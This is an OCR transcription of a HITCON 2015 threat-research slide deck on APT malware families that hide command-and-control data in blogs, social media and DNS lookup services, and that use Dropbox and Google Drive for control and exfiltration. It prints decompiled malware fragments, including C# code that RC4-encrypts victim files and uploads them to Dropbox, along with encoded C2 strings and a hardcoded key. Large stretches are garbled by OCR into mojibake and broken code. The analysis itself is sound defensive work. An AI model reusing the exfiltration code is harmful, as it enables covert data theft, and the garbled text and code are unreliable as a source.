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Let’s Play Hide and Seek
In the Cloud

The APT Malwares Favored in Cloud Service
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Speakers L5558 Loe 68
APT vs Cloud Service

Hide and Seek in SaaS

— Redirect
— Storage

— Control Channel

What APT malware love about cloud service?
What can we do?
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Speakers

P & Ashley

HITCON 2015 Let's Play Hide and Seek in the Cloud




* Ashley Shen

* Threat Analyst in Team T5

* APT research, Malware analysis
» Malicious Document Detection
* Member of HITCON GIRLS

* ashley@teamt5.org

Cyber Security Research

e HITCON 2015 Let's Play Hide and Seek in the Cloud




X Belinda

Belinda Lai
Security Engineer in
Malware Analysis
 Assist organizations handle
iInformation security incidents
Member of HITCON GIRLS
belindalai@iii.org.tw
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APT vs Cloud Service




Google Trend of Cloud Service
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Cloud Service Models

Software as a Service

B HITCON 2015 Let's Play Hide and Seek in the Cloud
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Google Trend of APT Attack
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How do cloud service take
part in APT attack?

What can malware do
with cloud service?

Let's Play Hide and Seek in the Cloud



APT Leverage Cloud Service Models

y

PaaS
@ VPS as
C&C server

HITCON 2015 Let's Play Hide and Seek in the Cloud



APT Leverage Cloud Service Models

Cloud Service as
Invisibility cloak

C&C server

HITCON 2015 Let's Play Hide and Seek in the Cloud






Redirect

Storage

Control Channel
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Second Stage C&C Cloud Service

Encode
C&C address

String Il o

Decode String to
getIP address W -

<

Command

Victim






* Name: Elirks

« Targeted Country: Taiwan -
Japan ~ HK

e Targeted Sector: GOV -
ThinkTank

* First Seen: 2010

» Infrastructure: Yahoo, Plurk,
Google (blogger), Dropbox,
Twitter

« Campaign: Elirks group

Elirks

% HITCON 2015 Let's Play Hide and Seek in the Cloud



800 kyisonD;Viii(E)Sor;Wii)lTwin 7><7 __

Search Twitter Q Have an account? Log in v

+% Follow

— Tweets  Tweets & replies
SoniWii

@SoniWii

@ Joined November 2010 TYrthV@ZzVZUhOWZOmeXjLAﬂX4hYSD34 DA ‘:
oF 8Yg2lk7eh1xbHuxx9*vw6XKRVh*920iw3Mub}-ENDTAG

« We found that the earliest Elirks post was posted in 2010.



0
o]
ol

C' | O www.plurk.com/andrea666

<« it
*»HE EBEE o @AEZEE = #5580 (7) HEPEE  HANEE  E [zha]
(]
" ' S

andrea666 got Available serial Number :
4xmlaR-YvKva-BD5B

andrea666 got Available serial Number : huA2Rt-nfUoa-4017

iR A A B, - FERRETREE | )

A EREER] LSRN

b2 mAELE

Y OAEIEE | s

L 40{TRE Karma i 7 P FRERRE (1) giﬁgzz ©
A ISR 7646 A T oraey
RETHEE A 12 0 ._-r_"':_"'h_:_._:_.

got Available serial Number :

dxmlaR-YvKvVa-BD5E

e In 2012~2014, Plurk had been used in several incidents.
 Encode C2 information with modified TEA and Base64.



In 2014, Elriks start to Hide c2 information in Html tag

e 006 J Gjack Marsh x ¥ Bview-source:jackmarsh22 X

€ C' [9 jackmarsh22.blogspot.hk

8+ 0 More ¥ Next Blog»

Pattern :
Jack Marsh <http://google.com.t

w/376198347
- + C2 information

Green Jim

GreatScotland
800 Gview-source:jackmarshz. X

Professor John Curtice stated in January 2012 that polling sh 4

independence at between 32% and 38% of the Scottish popul C [ view-source:jackmarsh22.blogspot.hk Y &

from 2007, when the Scottish National Party (SNP) first form

[4] Up until January 2012, there was an insignificant amount 7%

majority support for independence, although the share "veh( 7% | <div class='post-outer'> s - - ;
independence” declined.[4] Polls in March and April 2014 shc 7 <div class='post hentry' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>

independence at an average of 55% (excluding those who reg <meta content ‘ 5124970462968853261 I :Ltcmprop :blogId: /2
opinion), compared to 61% in the period before December 2( 97| <meta content='6374163758344064570" itemprop='postld'/>
the month of the referendum, the poll results appeared to n <a name='6374163758344064570"></a>

September, the average opposition to independence stands i "™ <h3 class'!- 'post—'ritlc entry-title' itemprop 'namf:"> 3
00 <a href='http://jackmarsh22.blogspot.hk/2014/02/jack-marsh.html'>Jack Marsh</a>

in April 2014 suggested that a high turnout in the referendur ©
801 </h3>
<div class='post-header'>
<div class='post~header-line-1'></div>
</div>

»'description articleBody'>

S 4 b X : k - of Australian aboriginal dd
who reprcscntcd Ncw South wales in six matchcs from 1900&#8211 01 to 1902&#8211 03. A right-arm fast bowler {
extreme pace, Marsh was blessed with high athletic qualities and was regarded as one of the outstanding tale
his era. However, his career was curtailed by continual controversy surrounding the legality of his bowling 4
he was no- ballcd mult:.plc t:.mes £ot throwmg As a result of. the dcbatc over the leglt:.macy o£ hxs actxon M3

<http://google.com. hk/3761983422f= vlugrq&hp b6e5bled&mp 399b?5e@&pg ]tt&eh123>

4 Born into the Bundjalung people at Yulgilbar on the Clarence River in northern New South Wales, Marsh first
impression as a professional runner, travelling to Sydney and then competing interstate, winning races as a f
and a hurdler. While in Sydney, Marsh began competing in the local club cricket competition and his action q
came under scrutiny. He was first no-balled for throwing in 1897, but it was not until 1900 that he came to
prominence in a trial match against the New South Wales state team. Marsh dismissed leading Test cricketers
Trumper and Monty Noble, but was called for throwing. Marsh vowed to prove the legitimacy of his action by bq
with his arm encased in splints, which prompted the umpire to resign in humiliation. Having topped the bowli




®0o0 [« X
- C' [ example0.exblog.jp

Sleite7ny D HTWETOY BEICADER | OVSY | 7O7ERS ! (BE)

an

exampleO.exblog.jp

Tnsry7

W\
e\)’(cite.

CIKHFHOERE challenges and events that can seem aNxVeQRQxKj4G610LpptVISRanewoy

Occasionally, life can be undeniably, impossibly difficult. We are faced with
RETEET, Jh overwhelming, life-destroying to the point where it may be hard to decid
e whether to keep going. But you always have a choice. Jessica Heslop shar
es her powerful, inspiring journey from the worst times in her life to the ne
dsfsdf w life she has created for herself

by example0909
07 1-LERD # by exampleD9D9 | 2015-01-06 18:40 | Trackback | Comments(D)

In 2015, Our latest observation shows that Elirks using Japa
n Blog to targeting JP victim. Encrypt with DES.



« Name: WMIghost

« Targeted Country: Tibet

« Targeted Sector: Various

* First Seen: 2009

 Infrastructure:blog.com,
Yahoo, Wordpress,
SOSblogs, livejournal

WMIghOst

% HITCON 2015 Let's Play Hide and Seek in the Cloud



* Used Windows Management Instrumentation (WM,
Implement Web-Based Enterprise Management) as a
venue to conveniently perform malicious activities

"_E Defanlt MFC Web Zerver Extension

e R B ol foot subzcription

= _ EventCansumer
=1-[@] ActiveScrptEventConsunmer
ActiveScnptE ventConzumer. M ame="ProbeScriptFint'*

(8] CommandLineE ventConzumer
(] LogFileEventCansumer
[&] M5FT_FonwardingConzummer

+-[@] M5FT_UCScenanoCantral
[ MSFT_UpdatingConsumer

+-[&] MTEwentLogE ventConzumer
(] SMTPEventConsumer

Il Edit instance properties : WCHARLES-FAGEF2BREO0 T snbscription: Acti. @

Properties l Methu:u:ls] .ﬁ.ssuciatiuns]

Properties of an object are values that are uzed to charactenze an instance of a
g class.

| | Name # | Tupe | Yalue

{ﬁb CreatorSI0 aray of uintd | &ray ]
T KilTimeout wint32 0

& b achineM ame ztring <emphyr

& Mawirmur@ueuesize | uint32 <empkys
"‘%E Mame zlring ProbeScriptFint

E ScriptFilename ztring <emphys

E ScriptingE ngine ztring javaszcript

El ScriptT est shing || $.CleanObjects():Hnew MAIN[). Firel):
__[CLASS ztring ActiveScrptE ventConsumer
__DERMATION  anay of sting Aray]

_[DYMASTY ztring __SystemClass

__GENUS sint 32 2




kumarsingh1976 ~ kumarsing
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1
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(@xbopm8. | xyz2p{ti{ ytxtv=a> | AY]
[WE/+ | 28L1*%3@

POSTED BY DRKUMARSINGH1976 IN 448

T5E (RSS)

I (RSS)

a Ry

2014 % NH -
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* Download html file and decode blog title

:IIEEIJEEI

IESTTGPFYHSA

d[1].tect bty
Lh Trident /4.0; InfoP:

P feed[1].tet him - (B354
HFEO WEHE B3RN0 S8R0 WA
<description>kumarsingh</sdescription>*® <lastBuildDate>Mon, 22 Sep 2814 01:06:17 +0000</lastBuildDate>R
<language>zh-twd/language>N <sy:updatePeriod>hourly<ssy-updatePeriod>n
<sy:updateFregquency>i1<{/sy-updateFrequency>Nl <generator>http::/S/fwordpress . .con/</generator>i<cloud
domain="Kumarsingh1?76.wordpress.com” port="88" path="/?rsscloud=notify’' registerProcedure="" protocol="http-post"
SrE<image>n <url>http://s2 .wp .confisbuttonw-comn.png</surl>m <titlerkumarsingh1276</title>n
<link>http://kumarsingh1976 .wordpress .com</1Link>N </image>l <Latom:z1link rel=""search""
type=""applicationsopensearchdescription+xml" href=""http://RKumarsingh1?276 . wordpress. . con/osd._xmnl""
title=""kumarsingh197&6"" ttp::/ humarsingh1976 .wordpress .com/S ?pushpress=hub * />R
citem>s critie 1[G/ ER128:201 1w9@<stitie>n
<link>http /7 kumarsing e 3 B xyz2ptitztvaywf-2113/</1ink>0
<comments>http f!kunarSJngh19?6 murdpress numfzﬂ1hfﬂaf181hhupmﬂ #yz2ptitztvaywfF-2113/#comments</comments>N
<pubDate>Hon, 18 Aug 2814 1256289 -+
><fdczcreator>®
isPermalink=""false">http:://kumarsing
[@xhupns fx z2p{ti{}t E&HB2I0;<{p><a h
21137 . Eﬁﬂﬂ <span class=""meta-na .
host=kumarsingh1976 . wordpress . conGie kumarsingh Non, 22 Sep 2fl14 01:06:17 +0000 zh-tw hourl" 1 http://wordpress
width=""1"" height=""1" #>]]></descript . i 2014708 3 q \ 13/ http: /s
{ti{ytztu=gamp;|AY]J[WFs+ |25L1=3R</p) ] "
href=""http://feeds.wordpress.com/1.
4 src=""http://Feeds .wordpress .com/1 . 8./
src=""http://pixel .wp.cons/b._giF?
host=kumarsingh1276 .wordpress . comé&Ho
width=""1"" height=""1" />]]>»</content:
<wfwicommentRss>http /s fkumarsingh197
<slash:comments>B<fslash:co
url=""http:s//B.gravatar.comfavatar/61
<media:title type=""h
<Sitem>m <Schannel>B</rss>0




* Name: Midhos

e Targeted: Taiwan, Tibet

« Targeted Sector: GOV,
corporation

* First Seen: 2012

« Infrastructure: Yahoo, Baidu,
Pixnet, Xuite

« Behavior: First Stage C&C

Midhos

% HITCON 2015 Let's Play Hide and Seek in the C'oud



« 2013, Midhos Leverage baidu blog as first stage
C2

2 hi.baidu.com/bwoimmyhomdnstr

Bai'é%%l‘en B % Wt HeES
l._L.l \
9: g < N\
L:% B/u__ E/\:]I“ETJ

[F@+pesfsd9026b14dbe7c102c78f406c64c966da7f"_7]
09/2013

[++a++Fac*bdd*cef*ced|eed+iaaa+aiaf +a++]
08/2013




IXESHE

8, HITCON 2015

Name: IXESHE

Targeted Country: Taiwan -
Japan

Targeted Sector: GOV -
Enterprise ~ NGO

First Seen: 2009

(2013 start to connect blog)
Infrastructure: Yahoo blog,
Dropbox, WordPress
Campaign: IXESHE

Let's Play Hide and Seek in the Cloud



KRKKKRkXkAARK%**%* E ﬂCOd ed Stl’l ng**********

€& | @ tw.myblog yshoo.com/jw! DkSeQyG Y HwRIWhed PoK SolFGINUE

5 BEAE @ FELR 5

EMRsHi0E 1] (EEAHERAAndroid Y-~

tarticlePmid=2&prev=>3&next=1 &l=f&tid=1 C || By~ Google »

{1 http:yimg combtiapii- [E) aspaetorscle R - Go- B BMSDNETH » =K ©! 248 [« w00_0087FE - F&--

(HLEETT

| BUSHRSEER | 2ELE

e |

2012/09/05 11:34
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Taleret

8, HITCON 2015

Name: Taleret

Targeted Country: Taiwan -
UN

Targeted Sector: GOV -
Enterprise ~ ORG

First Seen: 2010

(2011 start to connect blog)
Infrastructure: Yahoo, Yam,
Pixnet

Campaign:

Possibly Taidoor

Let's Play Hide and Seek in the Cloud



ARTEMIS (baseb4 string, encoded by
IP Port 0x4C)

RC4, contains C
ARTEMIS

=1 jEpssi=SEIEFTERE: O

WIRTFISF FlUIEE HEE=E

noaqreply (TFZEFFFEEEIHI08:23:49 | F=53%8

2 - BT ESZ= . T

DS 32005F ¢ 4

Ji’fji FrE S EEtEET RS ERISE O - BT AT SRR 10844

95FRT - HESCESS
HNEEF Eﬁg Eggazoﬁ—ﬁ -
EEmEEE B IED 1605F - EAED 510

SFRAET A -

== E_"? ) EEﬂ:"‘?_'FeﬁEE,E HeEs= o EaSdEsEEE
Btz c EsEETEET

EEeyrt #EiEsE oakaEisEUErE T

[ARTEMISP7AMKXLIO1KZxZ/MNOsqls UOP xS NEc JAoa GHT4jEXIN38g TcRagmgFAle sel Ru
ZL/ENBMH 3K CT e4rgjoPgr MOgdl KE FiwB/ s He yvgiC MaTewv CJMxL aPjps FF Y EA MK+
1TMGSasZRIxlaoFUaY SI49z)d OY BwvwnOFwOmsRnEY 4hA1 bjw T wsn<Du mC it j 20 Sy LY PAVWE 1
Co+JijKwOxZMzDBZ7FAGQINVZgl mizensL Gmvassalillad Ewbcp EVES GH kg KTl ikMgul g
GgmZtEdewbijFzvIiglFxs0dwveHgOs42bdjmj1TJ8 GpMRThml+KKIZITEWNEEY JiTI=[aRTE

e B

£ 23 EEAPP . xEEER

<25 RS AR S 78

(E-A 1= mEr sl
$¥B&8 |CoolFeelE&mEEILIE
i

M IFEEREARSES

= A fiE ==

I I
HEE BE
W AE B

B Bh B i SR

Google
AdvVvwords ™

e, S
=

T
Google ™ & ZdE{H
B ERISEIERTS -

SR EETIE A
SFENEFEMNTS 1500 1
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* Name: Plug X

» Targeted Country: Taiwan ;
Japan ; Korean

» Targeted Sector:

* First Seen: 2012

 Infrastructure: Baiduy,
Dropbox, Twitter, MSDN,
Linkedin

% HITCON 2015 Let's Play Hide and Seek in the Cloud



pattern:
JDADBDCDHDOCADOCADOCBD

Linked|[[}]).

\. V» / Name Search:

“p !
First Name Last Name

- Search for people you know from over 150 million
' Student at College of Bahrain professionals already on Linkedin
Bahrain
v
4 . 4‘ ‘\ Example: 1

Join LinkedIn and access full profile.

As a Linkedin member, you'll join 150 million other

professionals who are sharing connections, ideas, and

opportunities. And it's free! You'll also be able to

e See who you and ’ know in common View Full Profile
e Get introduced to

e Contact : directly

Education College of Bahrain

Connections 0 connections Linked tm. AdS

— e Advertise your
College of Bahrain .
B << s products and services

DZKSAFAABDCDHDOCADOCADOCBDDZIS ™\, on LinkedIn today. ] ”
£ |
DZKSAFAABDCDHDOCADOCADOCBDDZIS

Need a Financia
Learn More Ao
.. DZKSAFAABDCDHDOCADOCADOCBDDZJS .~

preparation for 201(

i WWW example. com

career opportunities consulting offers
new ventures job inquiries
expertise requests business deals
reference requests getting back in touch




More Tricks - 1

* Using DNS lookup cloud service to obtain
second stage C&C address.

* Bypass DNS blocking.




Second Stage C&C Cloud DNS Lookup Service

Watch

The IP address
of Domain is x
XX XXX XXX XXX - A

e Request

Command

Victim



Protux

Name: Protux

Targeted: TW

Targeted Sector: GOV
First Seen: 2009
Infrastructure: DNS Watch,
1p138,

Campaign: DragonOK



The trojan request for the search result of
DNS Watch to retrieve C&C address.

Il poap.pcap [Wireshark 1.6.5 (SYN Eey 40429 from /irank-1.6)]

Fle Edit \iew Go Capture Analyze Statistics Telephony Tools Internals Hel
B o 8 EAXZEE Ae*+29TF L BB QQQF WdEMB%X O
Filter: Expression...

M. i ROnrce Diestination Protocol | Length | Info

ER L i L B P B L e S LV [ e B Y R L R ) [ET=IL ] o L TV T S e T i L TRy VTR VR VAV

.630094 192,168, 230.1 1%2.168.230.255 NENS 92 Name query NE WPAD<00>

710351 192,168, 230,134 152.168.230.2 DNS 77 standard query A www. dnswatch. info
L202285 192,168, 230. 2 1%2.168.230.1534 DNS 3 S LANUAr GqUeEry response A 853 151, J5L. 154
.204458192, 168, 230.134 B5.131.251.134 TCP i
L370027 192,168, 230,134 1%2.168.230.2

L485040 85,131, 251,134 1%2.168.230.154 TCP
.485114 192,168, 230.134 B5.131.251.134 TCP .
L4861359 192,168, 230,134 §5.131.251.154 HTTP 253 GET Jdns/dnslookup?la=en&host=picture. ucparlnet. cométype=a&submit=Resalve HTTP/ 101

R T T L e L e e o o o L e i o T = i o i S i S S S o U S o S Jur S E ]

# Transmission Control Protocal, Src Port: fpitp (10450, Dst Port: http (80), sSeq: 1, ack: 1, Len: 195
-l Hypertext Transfer Protocol
+ GET Sdns/dnslookup?la=en&host=picture.ucparlnet. com&type=adsubmit=Resalve HTTFP 1.1%r%n
User-agent: Mozi11as5.0 (compatible; MSIE 6.0.1; WINIKWET 5.00%r%n
Host: www. dnswatch. infoseyn
Cache-Control: no-cachesrsn
ANy

Full reguest URI: http: Awww. dnswatch. infodns Adnslookup?la=en&host=picture. ucpar lnet . com&ty




DNS Watch is a public DNS lookup tool.

Hostname or IP
DNSW&tCh picture. ucparinet.com v |Hesnlve|

DNSWa"p ch = DMNS Lookup for picture.ucparinet.com

Searching for picture.ucparlnet.com. A record at E. ROOT-SERVERS MET. [152 203.230.10] .. took 1 ms
Searching for picture.ucparlnet.com. A record at a.gtld-servers.net. [192.5.6.30] .. took 121 ms
Searching for picture.uc parlnet.com. A record at ns2.value-domain.com. [54.64.110.166] .. took 266 ms

A record found: B8.158.177.102

Domain TTL Answer

picture ucparinet.com. 300 28158177102

Monitor performance and availability of your DNS Server (e.9. ns2 value-domain.com) - starting at
$1/month

Total elapsed query time: 388 ms

Since these results are absolutely up-to-date they may differ from the results of your local nameserver.
It can take up to the specified "time to live" (TTL) for your nameserver to update its cache.

DMS queres have been sent from Frankfurt am Main, Germany




Locate the IP address

1D Vigww-d

5 Preudocode® B Pssudocode-s [

gl

Hesx Yiew-A

by identity string.

Stuctures [

#{int =)({char =)}&ui19 + 3) = B;
HttpQueryInfoA{vd, Su, 5tr, &dwBufferLength, 8);

u7
if

{

uf
ua

atoi{5tr);
u7 )

uil o+ 163
=[_l|;

ulld = operator new{uv7 + 16});
if ( vib )

{

memset{viB, @, vi);
i1 = u25;
if ( {{int (__stdcall =){void =, void
{

do

{

if { *ui6 )
break;
U9 += ul6;

H

while { {{int { stdcall =*){void =, char =, signed
¥
ui12 = strstr{{const char =)vid, "A record Found: ");
memset(&cp, B, 8xX20u);
if { vz )
{

ui3d = &ui2[strlen{"A record found: "}];

Uiy = strstr{viz, "{");

strncpy{&ocp, vi13, vilh - vi3);

v23 = inet_addr{&cp);
H
operator delete{uvif};

=, signed int,

uz2z;

int =))u25){uh6, vid, 1824, &ui6)

int, int =)3ui1)¥{u6, {char =)u1B + u9, 10824, &U16) );

"A vecord found: ™




Try to Query DNS Watch first. If fail then try
DNS Server.

unsigned int32  cdecl sub 18885798(const char =name)

{

unsigned  int32 result; // eax@2
struct hostent =u2; 77 eax@6

if { inet addr{name) == -1 )}
1
result = gueryDHSWatch{{int)name};
if { result )
return result;
result = queryDHSServer{name};

1
2
3
n
L
(i)
Fd
B8
9

? 1[int _ cdecl sub_10005720{int a1)
else 24
{ 3 int v1; /7 ebx@l
. HLOCAL v2; /7 esi@d
result = inet_addr{name}; int va; /7 [sp+Bh] [bp-4h]E@1

6; Hinet DNS Server

¥

if { tresult ) S

{ v2 = Localalloc{exsou, exiou); Seednet DNS Server
v?2 = gethostbyname{name); ®(_DWORD x)u2 = 2;
. 'yo 1t = == *{{ DWORD *)u? + 1)
if ( tv2 || (resu = (_ x(( DWORD *)u2 + 2) B
result = @; 3 if ( *DnsQuery A(al, 1, 8,
3 ul = ={ DWORD =){ul + 24);

DnsRecordListFree{uvs, 1);
return result; LocalFree(u2);

return vi;




!E.

DNS Watch tried to block by detecting user

agent. (However...)

Ordinal

GET
/dns/dnslookup?la=en&host=picture.ucparlnet.c
om&type=A&submit=Resolve HTTP/1.1
Ucor-Agent: Mozilla/5.0 (compatible; MSIE 6.0.1;
WININET 5.0)

Host: www.dnswatch.info

Cache-Control: no-cache

GET
/dns/dnslookup?la=en&host=picture.ucparinet.c
om&type=A&submit=Resolve HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0.1)
Host: www.dnswatch.info

Cache-Control: no-cache
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DropNetClient

Name: DropNetClient
Targeted Country: Taiwan
Targeted Sector: GOV
First Seen: 2015
Infrastructure: Dropbox
Behavior:

-etch command from
Dropbox and upload
victim data to Dropbox.
Campaign: Taidoor




Low Detection Rate

@& [dentification Dietails U Analyses & Subr {E @ Ty

< > Engine Signature Yersion

2015-04-

2015-04-

Alibaba
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< 2 + Signature
:nt. BILG

2015-05-11 12 0 11/56

2015-05-04 12:45:15  2/35

Update

YVersion

Update




Connect to Dropbox with DropNet Lib

= +3 2015-05-16_16-52_e44269afdd4d0df364al15bb
. References

“a DropNet

“0 mscorlib

@ System GitHub This repository Explore Features Enterprise Blog

a9 System.Management
‘0 System.Windows.Forms DropNet / DropNet ® Watch 61 %
Resources

= . .
= DbeI|ent.Perert|es.ResDurces. Client Library for the Dropbox AP http://dropnet_github.io/dropnet. html

* j't}} < P‘ﬂ@d'._,ll(f‘:} 210 commits
DbxClient

'.ﬁ'é CmdExcution E ¥ branch: master DrOPNEt [ +

23 Command DISFJEITC ner updated readme with links and badge

:?‘i FIlE.HaI-'Idler " temonsee latest commit ébld4a3dBa i—
% Forml

. JHostControl |

°% Program

[ [+ [+

[#]

DropMet.MoncTouch Updating MonoTouch selution to actually build 2 years ago

[#|

DropMet. Tests Unified MetaData methods, added optional parameters "hash’, list' an. .. 3 months ago

[#|

DropMet. WindowsPhone Updated Windows Phone library to 8.0 because RestSharp is only wp8 2 months ago
DropMet Make the proxy parameter optional for all constructors 2 months ago
Lib Updated RestSharp to 105 2 months ago
gitignore Cleaned up the interface and exceptions, removed packages, fixed up s... 4 months ago
DropMet.sln Lets require Restsharp 105 then 2 months ago
DropMet.vsmdi First Commit... Login, Accountinfo, DeleteFile and GetMetaData are wo... 5 years ago
LICENSE txt Added LICENSE info 4 years ago

README_markdown updated readme with links and badg a month ago




Use two RC4 Keys.

« Key 1: A pubKey use to decrypt the file
*10101" download from dropbox”.

namespace DbxClient

internal class HostControl

private static string pubKeyStr 4 "21u89thjsbhc7834bauyg7g893dtyu™;

while (true)

{
array = null;
try

}
catcH
{
1

}
if (array != null)

goto IL_85;
N
I
Random random = new Random();
num += (Math.Abs(random.Next()) % 30 + 68) * 1000;
num2 += num;
if (num2 / 1008 > 180@)
{
break;
1

}
Thread.Sleep(num);




Use two RC4 Keys.
» Key 2: The decrypted key, use to encrypt
the victim files and upload to dropbox.

public static bool UploadFile(DropMetClient client, string localFile, string getPath)
s
' bool result;
=
) if (client == null || localFile == null || getPath ==
I
’ result = false;
T
;lse if (!File.Exists(localFile))

result = false;
Jl.
else
{
FileStream fileStream = new FileStream(localFile, FileMode.Open);
string fileName = Path.GetFileName(fileStream.Name);
byte[] array = new byte[fileStream.Length];
int num = fileStream.Read(array, @, array.lLength);
fileStream.Close();
if (num < array.length)
{
result = false;
JI.
else

byte[] array2 = RC.RC4(array, array.Length, HostControl.key, HostControl.keylLen);
client.UploadFile(getPath, fileMame, array2, true, null);

catch
I

result = false;




» We can find accesslokwn, appKey and
appSecret in the malware



« With Dropbox python SDK, we were able to
access to the folders and the files, and get
the account information.

Install Core API SDKs

To make th i fi SDK import into yo velopm ironment to get up

They are

-
%# Save to Dropbox

Download and uncompress the Python SDK. To install the dropbox module and any dependencies, run the setup script {you may

need suda).




:\Users\Ash\Desktop\python\dropbox-python-sdk-2.2.0 (1)\dropbox-python-sdk-2.2.0\example>p

account_info.py

Tinked account: C:\Python27\1ib\site-packages \urllib3-1.10.4-py2.7.egg\urllib3\util\ssl_.py:

CureP1atfarmwarn1n? A true s5s5LContext object is not available. This prevents urllib3 from c
propriately and may cause certain S5L connections to fail. For more information, se

.readthedocs. urgfeni1atestISECUr1ty.htm1#1nseCurep1atfurmwarn1ng

fu”’ referra] 11nk" u'https://db. tthk12]CDG', u d15p : : 3 u'uid‘: 40520813

ale': u'zh_TwW', u'email_verified': True, u ema11 u F

team’ : None, u "name_details': {u'fam111ar name': u'abc u'surname : u'abc ': u'given_l na

a'%, uéggggg; " u'KR', u'quota_info': {u'datastores': 0, u 'shared " : 0, u quuta : 2147483648

al':

:\Users\Ash\Desktop\python\dropbox-python-sdk-2.2.0 (1)\dropbox-python-sdk-2.2.0\example=python cli
client_2.py"
[Toaded 0OAuth 2 access token]
Dropbox> s
:\PythonZ27\1ib\site-packages\urllib3-1.10.4-py2.7 . eggiurllib3\utili\ss1_.py:90: InsecurePlatformwarr
ing: A true S5LContext object is not available. This prevents urllib3 from configuring S5L appropri
tely and may cause certain 55L connections to fail. For more information, see https://urllib3.readtt
edocs.org/en/latest/security.html#insecureplatformwarning.
abc
Dropbox i A F9. pdf
Dropbox>




GDrive RAT

8, HITCON 2015

Name: GDrive RAT
(aka TSPY_DRIGO.A)

Targeted Country: Taiwan
Targeted Sector: GOV

First Seen: 2012

Infrastructure:

Behavior:

Second stage backdoor. Upload
victim data to specific google
drive

Campaign:

Possibly PLEAD

Let's Play Hide and Seek in the Cloud



Develop with Go programming language.

The Go Programming Language

Try Go

I

Fop-out ™

/f ¥ou can edit this code!
f/ Click here and start typing.
package main

import “fmt"
Ffunc main() {

fmt.Println{ "Hello, TFE")
1

[ Hello. World!

Featured video

Go is an open source programming language
that makes it easy to build simple, reliable, and
efficient software.

@

Download Go

Binary distributions available for
Linux, Mac OS X_ Windows. and more.

Featured articles
Testable Examples in Go

Godoc examples are snippets of Go code that are
displayed as package documentation and that are verified
by running them as tests They can also be run by a user
visiting the godoc web page for the package and clicking
the associated "Run” button.

Published 7 May 2015
Package names

Go code is organized into packages. Within a package,
code can refer to any identifier (name) defined within,
while clients of the package may only reference the
package's exported types, functions, constants, and
variables. Such references always include the package
name as a prefix: foo.Bar refers to the exported name Bar

in the imported package named foo.

Published 4 February 2015




L ow detection rate.

@ [dentification @, Details U Analyses & Submissions @ ITW

Engine Signature Version Update

Ad-Aware Gen:Trojan.Heur. GZ JIN@byFsxJm 12.0.163.0 20150515
2015-05-15 03:31:14
AegisLab - 15 20150515

Agnitum - 5513 20150514
AhnLab-V3 - 2015.05.15.00 20150514
Alibaba - 1.0 20150515
ALYac - 1.014 20150515
Avast - 8.0.1489.320 20150515
AVEG - 15.0.0.4342 20150515
Avira TR/Crypt. XPACK.Gen 8316 20150514
AV ware - 15021 20150515
Baidu-International - 35141473 20150514
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Using OAuth 2.0 protocol to log in to
specific Google Drive.

O Google Developers Q. ( Googleidentity Platform € {25

Ef > Google Identity Platform

Google Identity Platform

Compare Auth Options Using OAuth 2.0 to Access Google APls

Google Sign-in Google APls use the O, ( for authentication and authorization. Google supports common OAuth 2.0

Android scenarios such as those for web server, installed, and client-side applications.

ios

Websites To begin, obtain OAuth 2.0 client credentials from the e D .. Then your client application requests
an access token from the Google Authorization Server, extracts a token from the response, and sends the token to the

Smart Lock for Passwords Google API that you want to access. For an interactive demonstration of using OAuth 2.0 with Google (including the

Android . ) i ) .
option to use your own client credentials), experiment with the O

Identity Toolkit This page gives an overview of the OAuth 2.0 authorization scenarios that Google supports, and provides links to more

f.*_n_drc'id detailed content. For details about using OAuth 2.0 for authentication, se
105
Web

o Note: Given the security implications of getting the implementation correct, we strongly encourage you to use OAuth 2.0
OpenlD Connect libraries when interacting with Google's OAuth 2.0 endpoints. It is a best practice to use well-debugged code provided by
Sign in with OpenID Connect others, and it will help you protect yourself and your users. For more information, see Client libraries.
Migrate from OpeniD 2.0

OAuth 2.0 Authorization

] Contents




« We can find the access token, client ID,
Refresh Token and email address in the
Drocess memaory.



illitat

8, HITCON 2015

Name: illitat (fc.asp
Downloader)

Targeted Country: TW
Targeted Sector: GOV

First Seen: 2010

(2013 start to use blog)
Infrastructure: Yahoo, Yam,
Pixnet

Behavior: Connect to blog to
download trojan DLL
(Taidoor)

Campaign: Taidoor

Let's Play Hide and Seek in the Cloud



« download jpg or yahoo blog article, find pattern
YXYYYXyY

 extract 2nd Gen Taidoor DLL

o illitat encode C2 pattern:

I's’| .data:00407241 00000007 C astwec

Jl74 70 34 2F 2F 74 77 2E 6D 79 62 6C 6F 67 2E 79[gMtp://tw.myblog.y

61 68 6F 6F 2E 63 6F 6D 2F 64 77 21 65 63 65 30[Mahoo.con/jw'ecel

XOR 2
JE4F 36 32 65 47 52 6D 4E 71 58 30 46 50 62 7A 54
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wenwen

S

HsvEBEDLQH =

ull = vu8s8;
b
a2 = 0;
strcpy(SubStr, “yxyyyxyy);
u67 = 0;
u12 = *(_DWORD *)uii;
LOBYTE(v95) = 3;

{reF » ECHSERAVEER

2012/09/22 17:20

AAADMZIMWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GFFDWmXB+pydDwdvQcIMPRV8Uoday9dyM5IHo+sdPAmMzPEQt7
LTjjXM9vIOYRCKB/ytSNICOpSImHuswDN9gz3JMiBD/kO0I+yIZG4szjaxDa8/ALnyFMzEIOn3Ge Y u/jgwwoi
ZRXdzFyRIGT782fvUtViwNdDWeofSTZE/KVIKG3VhZIXDdwbe7YKI/BTt7TUYK3VFfIhpXKFpeVkgBYR/
j2heFolwDiKXRusYRBKm1KYKaDM7TZMVV5Jtcdyg37Cha7RVosja/5lU83f4k0cC7jJkROBICPwIyZbhi
8rV5jj2DftJQO1NjnOg2rnUIDbkeywxHZQJx4a1AAWMPQyk+pekIwF 1bzVF9xhD3d/Dkjvhdb8Hh2QE3IF
3jGkeSdUecpTGZr2E2x+/fnuNfHrtNbxoRRcebmy/lYz30D0OBMrDgiD3T9x5QngwrHMjg8 TUymCCeWxi
UshE81QyS7LUo8ibCmu3+yTIKEeYPiW0AzzH5/TohSdD0ulapLsZCRXRk+vod/09i8FBmVng1+U3W1
snM1JkhUJG3SUg/dXGulkzB42nL82AdQeB2JuS6ZSHKUW/h/GEhFWL2QFfw0gzKP8owF CMIWFj3CV
KVMeXHw1d+el5IW6TI7jONEKRESZQ9swB4ySgmIs3FUCWBT/B2FYcPbW4RQENUIUQIwhQPh3q0t]
t7wONRBtvI/F41NCsnHGMrV720+UBIYMKOOQjzkDwObdiex1Y89amuAHUpEulzL5efElujewr YK Txf1U8]S
